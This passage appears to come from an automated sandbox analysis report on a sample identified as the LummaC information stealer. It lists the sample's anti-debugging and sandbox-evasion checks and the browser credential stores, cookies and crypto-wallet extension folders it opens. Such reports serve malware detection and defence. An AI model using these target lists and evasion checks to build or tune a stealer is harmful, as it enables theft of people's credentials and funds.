Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2245552829.0000000005823000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219574982.0000000005820000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245791819.0000000005824000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245630978.0000000005823000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218234084.0000000005818000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218337118.000000000581C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: kyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6n
Source: file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\m
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2522865244.0000000000708000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2527024488.0000000005F31000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2527024488.0000000005F31000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: pq-wProgram Manager
Source: file.exe, 00000000.00000002.2527024488.0000000005F31000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: opq-wProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2522865244.0000000000708000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2314664087.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300019426.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313768386.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299965907.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2447068773.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299995862.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446935763.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2195221853.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: allets/Electrum","d":0,"
Source: file.exe, 00000000.00000003.2195221853.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ta%\\ElectronCash\\walle
Source: file.exe, 00000000.00000003.2447084730.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertyeEQUA"},{"e
Source: file.exe, 00000000.00000003.2274029788.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2274029788.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2274104949.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
